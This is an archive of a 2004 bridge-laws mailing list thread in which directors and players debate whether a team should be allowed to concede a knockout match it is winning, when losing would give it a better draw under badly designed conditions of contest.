> > ----- Original Message ----- > From: "Sven Pran" > To: "blml" > Sent: Wednesday, May 19, 2004 4:10 AM > Subject: RE: [blml] A newer one > > > > Long story with a short answer from me: > > > > I consider such tactics by participants as described below contempt of > the > > game and I also consider setting up schedules like the ones described to > be > > contempt of the participants. > > > > Regards Sven > > > > > -----Original Message----- > > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > > > richard.hills@immi.gov.au > > > Sent: 19. mai 2004 00:55 > > > To: blml@rtflb.org > > > Subject: Re: [blml] A newer one > > > > > > > > > > > > > > > > > > In the thread, "A new one", David Stevenson wrote: > > > > > > [snip] > > > > > > >So he decided it would be scored 25-8 *unless* it > > > >affected who won the trophy. If it affected the > > > >trophy the two teams would have to replay [!!] > > > >their match. > > > > > > > >I found this decision a little .... [fill in your > > > >own blank] > > > > > > [snip] > > > > > > Richard James Hills writes: > > > > > > I found these conditions of contest a little .... > > > [fill in your own blank] -> > > > > > > Six teams participated in the 2003 trials to select > > > the Australian Open Team. The ABF decided to start > > > with a round-robin stage, then follow-up with a > > > series of knockout quarter-finals, semi-finals, and a > > > grand final. > > > > > > So far, so good. > > > > > > But the ABF Tournament Unit now counted on its > > > fingers, and noted that six teams playing in a set of > > > knockout quarter-finals would not easily produce four > > > winning teams to participate in a set of knockout > > > semi-finals. > > > > > > The logical decision for the ABF Tournament Unit to > > > make would be to decide that the two lowest ranked > > > teams from the round-robin would be eliminated, and > > > the knockout quarter-final stage would be scrapped, > > > with the best four teams from the round-robin > > > proceeding directly to knockout semi-finals. > > > > > > Instead, the ABF Tournament Unit decided that all > > > teams would qualify from the round-robin to the > > > knockout quarter-finals, with the round-robin merely > > > deciding seeding (and carry-forward). The fixed > > > pairings in the quarter-finals would be: Team 1 vs > > > Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > > > > > > The three winners from the quarter-finals would > > > qualify to the semi-finals, plus the highest ranked > > > loser. That is, Team 1 was playing a meaningless (for > > > it) quarter-final match, and had the power to decide > > > whether or not its chances of eventually winning the > > > event would be enhanced if Team 6 was also a semi- > > > finalist. > > > > > > It gets worse. The draw for the semi-final knockout > > > matches was *pre-set*. When the trial was actually > > > held, at 3-quartertime of the quarter-finals Team 1 > > > had a big lead over Team 6. Team 1 examined the > > > results after 3 quarters in the other quarter-finals, > > > and noted that its likely semi-final opponent had a > > > carry-forward advantage against Team 1. However, if > > > Team 1 lost its quarter-final, then it would play a > > > different team in its semi-final, and against that > > > different team it would be Team 1 with the carry- > > > forward advantage. > > > > > > Therefore, Team 1 approached the CTD, and requested > > > permission to concede its quarter-final match against > > > Team 6, despite Team 1 leading by 80-odd imps. > > > > > > As CTD, how would you rule? > > > > > > Best wishes > > > > > > RJH > > > > > > > > > _______________________________________________ > > > blml mailing list > > > blml@rtflb.org > > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Wed May 19 09:16:25 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 19 May 2004 10:16:25 +0200 Subject: [blml] A newer one In-Reply-To: Message-ID: <000401c43d79$9406fe80$6900a8c0@WINXP> Yes, yes - I know you are right. CoC are there to be used by the participants to the best of their interests as they see it. I do distinguish between inferior play for instance due to lack of inspiration, and demonstrative play that I consider contempt of the = game.=20 But as they say: I cannot define an elephant but I know him when I see = him. The problem really arises when it becomes in the interest of = participants to behave "silly" for tactical reasons and I know only one solution: That = is to sabotage by not getting involved at all. Lucky me, I have never been anywhere close to such problems. Do we have a different culture? Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Jaap > van der Neut > Sent: 19. mai 2004 09:55 > To: Sven Pran; blml > Subject: Re: [blml] A newer one >=20 > Sven, >=20 > Of course I agree with you to a large extent but ..... >=20 > > And participants in Norway who are "playing" such jokes in the later > rounds > > of a round robin event will soon find themselves objects of some = severe > > disciplinary action. >=20 > That you do something about people opening 7NT ok, but what do you do > about > a team out of contention playing the last round free-wheeling (not = dumping > but well they have no real motivation anymore) lossing 25-5 to someone = in > contention. Culturally this is quite different (we dislike 7NT, we = tend to > accept a disspirited team), logically it is exactly the same (the = effect > is > the same). >=20 > > No answer? Tell me how you rule against a participant who shows = contempt > of > > the game? I didn't think it was necessary to spell it out that such = a > > participant comes very close to expulsion by me. >=20 > Here you make a big mistake IMHO. The players try to win the event and = if > the event is organised in a way that dumping increases the change of > winning > how are you going to blame the players. We play a competition you = know, > not > a beauty contest. It can be argued that players show contempt of the > competition (as defined by this silly SO) by NOT dumping when it is in > their > best interest to do so. Anyway on what grounds are you ruling against = the > players given what the SO imposes on them. >=20 > Actually we had such a case in Holland a few years ago. A pair said = they > wanted to start dumping at a certain stage (which was a sound tactic = given > the format !) and the poor unprepared TD had no idea what to do about = it > (the SO really should handle such a problem because of conflicting = rules > and > political complications). Anyway the pair did their dumping achieving > their > goal (improved change of reaching the final of a multi stage event) > completely destroying the result of the current heat (causing dozens = of > appeals and complaints). SO (indirectly the Dutch Fed) unhappy and > imposing > al kind of penalties on the pair including expulsion. This also was > appealed > of course and in the end the SO lost the case completely. The final = ruling > (by the independent legal committee of the Dutch Fed) was simple. = Dumping > was a reasonable tactic given the COC (in the sense that it was in the > best > interest of the players). So the SO should improve the COC rather than > blame > the players. >=20 > Anyway I am still angry about certain persons in the SO/Dutch Fed = because > we > lost a very competent TD over this one. Although the final ruling = implied > the TD had handled the case 'perfectly' the SO had blamed him for the = mess > (this much I know) and for reasons unknown to me (no apologies !?) he = has > never worked again. >=20 > > However, I should be very reluctant even to accept serving as = Director > at > an > > event organized in such a vulnerable way. >=20 > That makes more sense to me. Same is true for the players. If you = decide > to > participate in such an event I guess you have to accept reality. >=20 > Jaap >=20 >=20 > ----- Original Message ----- > From: "Sven Pran" > To: "blml" > Sent: Wednesday, May 19, 2004 9:04 AM > Subject: RE: [blml] A newer one >=20 >=20 > Jaap van der Neut > > Sven > > > I consider such tactics by participants as described > > > below contempt of the game and I also consider setting > > > up schedules like the ones described to be contempt of > > > the participants. > > > > Good answer but no answer. Because you duck the real question, who = is to > > blame. The SO or the players who try to optimalise their result = given > the > > conditions. >=20 > No answer? Tell me how you rule against a participant who shows = contempt > of > the game? I didn't think it was necessary to spell it out that such a > participant comes very close to expulsion by me. >=20 > However, I should be very reluctant even to accept serving as Director = at > an > event organized in such a vulnerable way. >=20 > > For me the answer is simple. The SO is to blame not the players. But > there > > have been other infamous cases. Remember that match in Yokohama = where > both > > teams wanted to lose a match because the loser would get an = perceived > > easier opponent in the next round. > > > > There is really only one solution. The SO has to come up with = conditions > > where dumping doesn't pay. Not that easy because one of the most = common > > competition formats, round robin, is rather vulnerable to later = rounds > > tactical jokes. Look at every other sport. >=20 > And participants in Norway who are "playing" such jokes in the later > rounds > of a round robin event will soon find themselves objects of some = severe > disciplinary action. >=20 > I remember a question to candidates for TD exams: How do you rule if a > player opens the auction with a bid of 7NT without having looked at = his > cards? (This was before 1987 when we got Law 7B1 which requires each > player > to inspect the faces of his cards before calling). >=20 > The correct answer? He has made a psyche (which is legal) and at the = same > time informed the other players at the table (including his partner = which > is > illegal) that his call was a psyche. He has also shown contempt of the > game > which should result in expulsion from that event. >=20 > I cannot remember experiencing (or being told of) any such "jokes" in > serious events here in Norway. >=20 > Sven >=20 > > Solution? I guess swiss (with possibly Danish last rounds depending = on > > #teams and #rounds) or knock-out or a mix of those two. Hard to see = how > > dumping is going to help you in these formats. > > > > Jaap > > > > > > ----- Original Message ----- > > From: "Sven Pran" > > To: "blml" > > Sent: Wednesday, May 19, 2004 4:10 AM > > Subject: RE: [blml] A newer one > > > > > > > Long story with a short answer from me: > > > > > > I consider such tactics by participants as described below = contempt of > > the > > > game and I also consider setting up schedules like the ones = described > to > > be > > > contempt of the participants. > > > > > > Regards Sven > > > > > > > -----Original Message----- > > > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On = Behalf > Of > > > > richard.hills@immi.gov.au > > > > Sent: 19. mai 2004 00:55 > > > > To: blml@rtflb.org > > > > Subject: Re: [blml] A newer one > > > > > > > > > > > > > > > > > > > > > > > > In the thread, "A new one", David Stevenson wrote: > > > > > > > > [snip] > > > > > > > > >So he decided it would be scored 25-8 *unless* it > > > > >affected who won the trophy. If it affected the > > > > >trophy the two teams would have to replay [!!] > > > > >their match. > > > > > > > > > >I found this decision a little .... [fill in your > > > > >own blank] > > > > > > > > [snip] > > > > > > > > Richard James Hills writes: > > > > > > > > I found these conditions of contest a little .... > > > > [fill in your own blank] -> > > > > > > > > Six teams participated in the 2003 trials to select > > > > the Australian Open Team. The ABF decided to start > > > > with a round-robin stage, then follow-up with a > > > > series of knockout quarter-finals, semi-finals, and a > > > > grand final. > > > > > > > > So far, so good. > > > > > > > > But the ABF Tournament Unit now counted on its > > > > fingers, and noted that six teams playing in a set of > > > > knockout quarter-finals would not easily produce four > > > > winning teams to participate in a set of knockout > > > > semi-finals. > > > > > > > > The logical decision for the ABF Tournament Unit to > > > > make would be to decide that the two lowest ranked > > > > teams from the round-robin would be eliminated, and > > > > the knockout quarter-final stage would be scrapped, > > > > with the best four teams from the round-robin > > > > proceeding directly to knockout semi-finals. > > > > > > > > Instead, the ABF Tournament Unit decided that all > > > > teams would qualify from the round-robin to the > > > > knockout quarter-finals, with the round-robin merely > > > > deciding seeding (and carry-forward). The fixed > > > > pairings in the quarter-finals would be: Team 1 vs > > > > Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > > > > > > > > The three winners from the quarter-finals would > > > > qualify to the semi-finals, plus the highest ranked > > > > loser. That is, Team 1 was playing a meaningless (for > > > > it) quarter-final match, and had the power to decide > > > > whether or not its chances of eventually winning the > > > > event would be enhanced if Team 6 was also a semi- > > > > finalist. > > > > > > > > It gets worse. The draw for the semi-final knockout > > > > matches was *pre-set*. When the trial was actually > > > > held, at 3-quartertime of the quarter-finals Team 1 > > > > had a big lead over Team 6. Team 1 examined the > > > > results after 3 quarters in the other quarter-finals, > > > > and noted that its likely semi-final opponent had a > > > > carry-forward advantage against Team 1. However, if > > > > Team 1 lost its quarter-final, then it would play a > > > > different team in its semi-final, and against that > > > > different team it would be Team 1 with the carry- > > > > forward advantage. > > > > > > > > Therefore, Team 1 approached the CTD, and requested > > > > permission to concede its quarter-final match against > > > > Team 6, despite Team 1 leading by 80-odd imps. > > > > > > > > As CTD, how would you rule? > > > > > > > > Best wishes > > > > > > > > RJH > > > > > > > > > > > > _______________________________________________ > > > > blml mailing list > > > > blml@rtflb.org > > > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > > > > > > > > > _______________________________________________ > > > blml mailing list > > > blml@rtflb.org > > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml >=20 >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Wed May 19 09:24:11 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 19 May 2004 10:24:11 +0200 Subject: [blml] A newer one References: <000301c43d73$d931a7e0$6900a8c0@WINXP> <40AB1318.9070704@hdw.be> Message-ID: Herman: > Even silly conditions can stand up to the test for a long time. I > might have told the SO that the conditions were silly, but never in > the past five years did it reach the point where dumping could become > profitable. And then suddenly, up spring the conditions and I can say > "I told you so". But that would not necessarily mean I could not > direct the event in the meanwhile. Very true. A lot of COC's are potentionally dangerous. But we tend to continue until an incident happens. Example, after Yokohama the international standard COC was changed in a way that solved the Yokohama problem for all practical purposes. We will continue until one day a new problem pops up. Which to a certain extent is unavoidable, you can not predict everything (this is no exuse for predicting nothing). Another example. Everybody knows a round robin is a very dangerous format. Still it probably is the most used format for sports competitions around the world (for reasons I understand very well by the way). After this infamous Germany-Austria soccer match long ago (a typical RR problem) the COC of the soccer WC was also adapted. But very few other sports organisations (including local soccer SO's) have reacted to this 'lesson' as far as I know. Bottom line, organisations should not blame the players for their own (organisation) errors. Along the same line. Who really is to blame in this Kabul prison. Some poor uninstructed reservists from rural America or the management of the US Army (in the end Rumsfeld). It seems Rumsfeld gets away with it and the poor sods get court-martialed (well they also have a responsability of course). But I tend to see these things differently. Jaap ----- Original Message ----- From: "Herman De Wael" To: "blml" Sent: Wednesday, May 19, 2004 9:56 AM Subject: Re: [blml] A newer one > Sven Pran wrote: > > >>Herman De Wael > >>Sent: 19. mai 2004 09:24 > >>To: blml > >>Subject: Re: [blml] A newer one > >> > >>gesta@tiscali.co.uk wrote: > >> > >> > >>>>As CTD, how would you rule? > >>>> > >>> > >>>+=+ :-) I would exercise my Law 81C9 power to refer > >>>the matter to the appropriate committee. ~ G ~ +=+ > >>> > >> > >>The appropriate committee being of course the one that wrote these > >>*#!? conditions in the first place. > >> > >>But I agree with Jaap. If these are the condiditions, then the players > >>have every right to demonstrate how silly they are by acting in this > >>manner. Personally, I would not accept the concession, unless I felt > >>equally affected by the whole thing, as in having told the Committee > >>time and time again that the conditions were silly. > > > > > > In your place, if you had told the Committee time and time again that the > > conditions were silly; I wouldn't accept the job until they changed the > > conditions in a satisfactory way. > > > > Not necessarily. > Even silly conditions can stand up to the test for a long time. I > might have told the SO that the conditions were silly, but never in > the past five years did it reach the point where dumping could become > profitable. And then suddenly, up spring the conditions and I can say > "I told you so". But that would not necessarily mean I could not > direct the event in the meanwhile. > > > > > -- > Herman DE WAEL > Antwerpen Belgium > http://www.hdw.be > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From Frances.Hinden@Shell.com Wed May 19 09:44:00 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 19 May 2004 09:44:00 +0100 Subject: [blml] A newer one Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E101816A75@lonsc-s-031.europe.shell.com> Sven Pran Long story with a short answer from me: I consider such tactics by participants as described below contempt of = the game and I also consider setting up schedules like the ones described to = be contempt of the participants. Regards Sven [Frances] We're all agreed the SO are insane setting up such conditions. But I = think the participants have acted with more integrity than many would show. = Some teams would "concede" by playing 7NTxx on each board; they have actually = asked the TD if dumping is permitted in the event. I assume that if they were = told they can't concede, they would continue on and win their match. How would I rule? I would allow them to concede the match. This is a = matter that leads to impassioned debate, but purely IMO a team should take any advantage it can of the conditions of contest to win the event. > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > richard.hills@immi.gov.au > Sent: 19. mai 2004 00:55 > To: blml@rtflb.org > Subject: Re: [blml] A newer one >=20 >=20 >=20 >=20 >=20 > In the thread, "A new one", David Stevenson wrote: >=20 > [snip] >=20 > >So he decided it would be scored 25-8 *unless* it > >affected who won the trophy. If it affected the > >trophy the two teams would have to replay [!!] > >their match. > > > >I found this decision a little .... [fill in your > >own blank] >=20 > [snip] >=20 > Richard James Hills writes: >=20 > I found these conditions of contest a little .... > [fill in your own blank] -> >=20 > Six teams participated in the 2003 trials to select > the Australian Open Team. The ABF decided to start > with a round-robin stage, then follow-up with a > series of knockout quarter-finals, semi-finals, and a > grand final. >=20 > So far, so good. >=20 > But the ABF Tournament Unit now counted on its > fingers, and noted that six teams playing in a set of > knockout quarter-finals would not easily produce four > winning teams to participate in a set of knockout > semi-finals. >=20 > The logical decision for the ABF Tournament Unit to > make would be to decide that the two lowest ranked > teams from the round-robin would be eliminated, and > the knockout quarter-final stage would be scrapped, > with the best four teams from the round-robin > proceeding directly to knockout semi-finals. >=20 > Instead, the ABF Tournament Unit decided that all > teams would qualify from the round-robin to the > knockout quarter-finals, with the round-robin merely > deciding seeding (and carry-forward). The fixed > pairings in the quarter-finals would be: Team 1 vs > Team 6, Team 2 vs Team 5, Team 3 vs Team 4 >=20 > The three winners from the quarter-finals would > qualify to the semi-finals, plus the highest ranked > loser. That is, Team 1 was playing a meaningless (for > it) quarter-final match, and had the power to decide > whether or not its chances of eventually winning the > event would be enhanced if Team 6 was also a semi- > finalist. >=20 > It gets worse. The draw for the semi-final knockout > matches was *pre-set*. When the trial was actually > held, at 3-quartertime of the quarter-finals Team 1 > had a big lead over Team 6. Team 1 examined the > results after 3 quarters in the other quarter-finals, > and noted that its likely semi-final opponent had a > carry-forward advantage against Team 1. However, if > Team 1 lost its quarter-final, then it would play a > different team in its semi-final, and against that > different team it would be Team 1 with the carry- > forward advantage. >=20 > Therefore, Team 1 approached the CTD, and requested > permission to concede its quarter-final match against > Team 6, despite Team 1 leading by 80-odd imps. >=20 > As CTD, how would you rule? >=20 > Best wishes >=20 > RJH >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Wed May 19 12:06:16 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 19 May 2004 12:06:16 +0100 Subject: [blml] A newer one In-Reply-To: <001301c43d46$85c14f20$6900a8c0@WINXP> References: <001301c43d46$85c14f20$6900a8c0@WINXP> Message-ID: <7FyxtfWo+zqAFwcW@blakjak.demon.co.uk> Sven Pran wrote >Long story with a short answer from me: > >I consider such tactics by participants as described below contempt of the >game and I also consider setting up schedules like the ones described to be >contempt of the participants. You enter an event to win. Why is it beneath contempt to try and win by following the rules? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 19 12:05:25 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 19 May 2004 12:05:25 +0100 Subject: [blml] A newer one In-Reply-To: References: Message-ID: <+VlwZGW19zqAFw9+@blakjak.demon.co.uk> RJH wrote > > > > >In the thread, "A new one", David Stevenson wrote: > >[snip] > >>So he decided it would be scored 25-8 *unless* it >>affected who won the trophy. If it affected the >>trophy the two teams would have to replay [!!] >>their match. >> >>I found this decision a little .... [fill in your >>own blank] > >[snip] > >Richard James Hills writes: > >I found these conditions of contest a little .... >[fill in your own blank] -> > >Six teams participated in the 2003 trials to select >the Australian Open Team. The ABF decided to start >with a round-robin stage, then follow-up with a >series of knockout quarter-finals, semi-finals, and a >grand final. > >So far, so good. > >But the ABF Tournament Unit now counted on its >fingers, and noted that six teams playing in a set of >knockout quarter-finals would not easily produce four >winning teams to participate in a set of knockout >semi-finals. > >The logical decision for the ABF Tournament Unit to >make would be to decide that the two lowest ranked >teams from the round-robin would be eliminated, and >the knockout quarter-final stage would be scrapped, >with the best four teams from the round-robin >proceeding directly to knockout semi-finals. > >Instead, the ABF Tournament Unit decided that all >teams would qualify from the round-robin to the >knockout quarter-finals, with the round-robin merely >deciding seeding (and carry-forward). The fixed >pairings in the quarter-finals would be: Team 1 vs >Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > >The three winners from the quarter-finals would >qualify to the semi-finals, plus the highest ranked >loser. That is, Team 1 was playing a meaningless (for >it) quarter-final match, and had the power to decide >whether or not its chances of eventually winning the >event would be enhanced if Team 6 was also a semi- >finalist. > >It gets worse. The draw for the semi-final knockout >matches was *pre-set*. When the trial was actually >held, at 3-quartertime of the quarter-finals Team 1 >had a big lead over Team 6. Team 1 examined the >results after 3 quarters in the other quarter-finals, >and noted that its likely semi-final opponent had a >carry-forward advantage against Team 1. However, if >Team 1 lost its quarter-final, then it would play a >different team in its semi-final, and against that >different team it would be Team 1 with the carry- >forward advantage. > >Therefore, Team 1 approached the CTD, and requested >permission to concede its quarter-final match against >Team 6, despite Team 1 leading by 80-odd imps. > >As CTD, how would you rule? It seems logical that such CoC would have regs for concessions, so naturally I apply those regs. No? Well, I have never been involved as a player or TD in a "knockout" teams event where concessions were barred so I suppose I allow it under "custom+practice". The point it that it is not up to me as CTD to worry about the effects of my decision, just its legality. It is not in the Law book: it should be in the CoC: if not "custom+practice" is next. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed May 19 12:13:09 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 19 May 2004 12:13:09 +0100 Subject: [blml] a new one In-Reply-To: <006901c43d6d$c44803c0$7e23b5d4@swipnet.se> References: <006901c43d6d$c44803c0$7e23b5d4@swipnet.se> Message-ID: Hans-Olof Hallén wrote >To David S. >My intention was far from criticising anybody and if I have done so, I >apologize. I was just trying to say how we handle missing results here, >making somebody responsible for posting results. OK. But as I have also tried to point out that does not mean a mistake could not happen, just that it could not happen in precisely the same way. No doubt one of the teams had final responsibility in this case, but they gave the result to the organisation that they were told to. Very old and fairly poor Irish joke [sorry, Fearghal, Karel, etc, I am sure you tell English jokes]: Car stops by very old Irishman and driver asks him "How would you get to Sligo?". "Well, sorrr, it is like this, see, if I was going to Sligo, see, I would not start from here." A number of questions put to BLML and RGB over the years have been answered with the equivalent of this. Incidentally, I am sure you were all dying to know that we won our last match 30-0 so are not going to be relegated. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ehaa@starpower.net Wed May 19 13:42:41 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 19 May 2004 08:42:41 -0400 Subject: [blml] A newer one In-Reply-To: Message-ID: <5.2.0.9.0.20040519081502.02141820@pop.starpower.net> At 06:54 PM 5/18/04, richard.hills wrote: >I found these conditions of contest a little .... >[fill in your own blank] -> > >Six teams participated in the 2003 trials to select >the Australian Open Team. The ABF decided to start >with a round-robin stage, then follow-up with a >series of knockout quarter-finals, semi-finals, and a >grand final. > >So far, so good. > >But the ABF Tournament Unit now counted on its >fingers, and noted that six teams playing in a set of >knockout quarter-finals would not easily produce four >winning teams to participate in a set of knockout >semi-finals. > >The logical decision for the ABF Tournament Unit to >make would be to decide that the two lowest ranked >teams from the round-robin would be eliminated, and >the knockout quarter-final stage would be scrapped, >with the best four teams from the round-robin >proceeding directly to knockout semi-finals. > >Instead, the ABF Tournament Unit decided that all >teams would qualify from the round-robin to the >knockout quarter-finals, with the round-robin merely >deciding seeding (and carry-forward). The fixed >pairings in the quarter-finals would be: Team 1 vs >Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > >The three winners from the quarter-finals would >qualify to the semi-finals, plus the highest ranked >loser. That is, Team 1 was playing a meaningless (for >it) quarter-final match, and had the power to decide >whether or not its chances of eventually winning the >event would be enhanced if Team 6 was also a semi- >finalist. > >It gets worse. The draw for the semi-final knockout >matches was *pre-set*. When the trial was actually >held, at 3-quartertime of the quarter-finals Team 1 >had a big lead over Team 6. Team 1 examined the >results after 3 quarters in the other quarter-finals, >and noted that its likely semi-final opponent had a >carry-forward advantage against Team 1. However, if >Team 1 lost its quarter-final, then it would play a >different team in its semi-final, and against that >different team it would be Team 1 with the carry- >forward advantage. > >Therefore, Team 1 approached the CTD, and requested >permission to concede its quarter-final match against >Team 6, despite Team 1 leading by 80-odd imps. > >As CTD, how would you rule? The organization(s) that run major league baseball in the U.S. have been "considering" a rule change for at least 50 years that would allow a pitcher to "announce" an intentional walk, allowing the batter to move to first base without having to take his turn at bat. Without this rule, pitchers routinely throw four balls so far outside home plate that they cannot legally be hit; the batter stands there, watches the four pitches go by, and then moves to first base. I have always favored the proposed rule change. To be consistent, I would want to allow this concession, and would do so unless the CoC explicitly forbade it. We do have rules that prohibit "dumping", but it's not clear what that means. IMO, "dumping" means intentionally attempting to lose whatever it is that one is presumed to be trying to win. This team wants to concede in an honest and genuine attempt to win the event, and is quite correct in believing that conceding the match will increase their chances of doing so. I have no problem finding that their concession does not constitute dumping. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From john@asimere.com Wed May 19 02:44:30 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 19 May 2004 02:44:30 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: In article , richard.hills@immi.gov.au writes snip > >Richard James Hills: > >Therefore, I mea culpingly admit that the sensible ruling >suggested by other blmlers - 25 vps to 8 vps - is also a >legal Law 82C ruling. Sheesh! John > >Best wishes > >RJH -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From ehaa@starpower.net Wed May 19 14:20:33 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 19 May 2004 09:20:33 -0400 Subject: [blml] Taking Insufficient bidders off the table In-Reply-To: Message-ID: <5.2.0.9.0.20040519084956.009f73e0@pop.starpower.net> At 10:32 PM 5/18/04, richard.hills wrote: >Herman De Wael: > > >He would know which suit to return in, whereas > >declarer might not know which suit to forbid. > >Richard James Hills: > >This is a different pair of sleeves. *If* the >partner of an insufficient bidder has a >partnership understanding (based on knowledge of >the insufficient bidder's habits) as to the >likely reason for the insufficient bid, *then* >the partner of the insufficient bidder should be >required to Alert the insufficient bid. That is quite reasonable. "A partnership understanding []based on knowledge of the... bidder's habits" is what we call an "implicit partnership agreement", which we are required to treat like any other partnership agreement; sensible alert regulations would make such an agreement alertable. But there's problem with this. It is patently illegal to have an explicit agreement about the meaning of an insufficient bid, as doing so would be a prima facie attempt to violate one of our holiest principles, enshrined in L72B2. So the consensually accepted jurisprudential principle, well supported by precedent, by which we are "required to treat [an implicit partnership agreement] like any other partnership agreement" when applying the Laws, must be seriously flawed. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From hans-olof.hallen@bolina.hsb.se Wed May 19 14:44:47 2004 From: hans-olof.hallen@bolina.hsb.se (=?iso-8859-1?Q?Hans-Olof_Hall=E9n?=) Date: Wed, 19 May 2004 15:44:47 +0200 Subject: [blml] a newer one Message-ID: <003d01c43da7$74756560$7e23b5d4@swipnet.se> To Sven. What about law 74 B 1? Yours etc Hans-Olof From walt1@verizon.net Wed May 19 15:12:13 2004 From: walt1@verizon.net (Walt) Date: Wed, 19 May 2004 10:12:13 -0400 Subject: [blml] A newer one In-Reply-To: References: <001301c43d46$85c14f20$6900a8c0@WINXP> Message-ID: <6.1.0.6.0.20040519100236.0381fe30@incoming.verizon.net> At 01:44 AM 19/05/2004, Jaap van der Neut wrote: >Sven > > I consider such tactics by participants as described below contempt of the > > game and I also consider setting up schedules like the ones described to >be > > contempt of the participants. > >Good answer but no answer. Because you duck the real question, who is to >blame. The SO or the players who try to optimalise their result given the >conditions. > >For me the answer is simple. The SO is to blame not the players. But there >have been other infamous cases. Remember that match in Yokohama where both >teams wanted to lose a match because the loser would get an perceived easier >opponent in the next round. > >There is really only one solution. The SO has to come up with conditions >where dumping doesn't pay. Not that easy because one of the most common >competition formats, round robin, is rather vulnerable to later rounds >tactical jokes. Look at every other sport. > >Solution? I guess swiss (with possibly Danish last rounds depending on >#teams and #rounds) or knock-out or a mix of those two. Hard to see how >dumping is going to help you in these formats. Jaap Good answer. I agree completely. No one should look down on players for trying to win within the regulations imposed on them. Every sport, indeed every compensation system has problems with setting up the rules properly. Graduate Business schools have case studies on companies whose compensation systems have encourage their employees to do things that were against the best interests of the company. Professional sports in the U.S. have changed their rules several times within my memory because the previous rules encouraged dumping and this is not what paying customers came to see. It is a big challenge to set up the compensation system (in the case of bridge, the rules and regulations) so that when the players act in their own self interest they are also acting in the way the organizers wish them to. I have just one question: What are "Danish last rounds"? Thanks Walt From Martin.Sinot@Micronas.com Wed May 19 15:28:27 2004 From: Martin.Sinot@Micronas.com (Sinot Martin) Date: Wed, 19 May 2004 16:28:27 +0200 Subject: [blml] A newer one Message-ID: <94504F49BF58B0499D108530E98A52050E646F@rama.micronas.com> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of > Walt > Sent: Wednesday, May 19, 2004 16:12 > To: Jaap van der Neut; Sven Pran; blml > Subject: Re: [blml] A newer one >=20 > I have just one question: What are "Danish last rounds"? In Swiss, every round you play an opponent which is ranked about the same as you, with the restriction that you cannot play an opponent you already met before. In Danish, you play an opponent with about the same ranking as you, but without restriction. So in Danish, unlike Swiss, it is possible to meet an opponent you have met before. --=20 Martin Sinot From walt1@verizon.net Wed May 19 15:52:43 2004 From: walt1@verizon.net (Walt) Date: Wed, 19 May 2004 10:52:43 -0400 Subject: [blml] A newer one In-Reply-To: <000001c43d6f$80f52470$6900a8c0@WINXP> References: <000001c43d6f$80f52470$6900a8c0@WINXP> Message-ID: <6.1.0.6.0.20040519104432.038d2c00@incoming.verizon.net> At 03:04 AM 19/05/2004, Sven Pran wrote: >I remember a question to candidates for TD exams: How do you rule if a >player opens the auction with a bid of 7NT without having looked at his >cards? (This was before 1987 when we got Law 7B1 which requires each player >to inspect the faces of his cards before calling). > >The correct answer? He has made a psyche (which is legal) and at the same >time informed the other players at the table (including his partner which is >illegal) that his call was a psyche. He has also shown contempt of the game >which should result in expulsion from that event. Sven I find a huge difference between the scenario above where a player is jerking the field around with no realistic hope of improving his score, and the ones Jaap is referring to where the players are trying to win under the laws and regulations which are in effect. I think that those laws and regulations should be fixed so that they encourage what you refer to as "respect for the game". To punish the players for 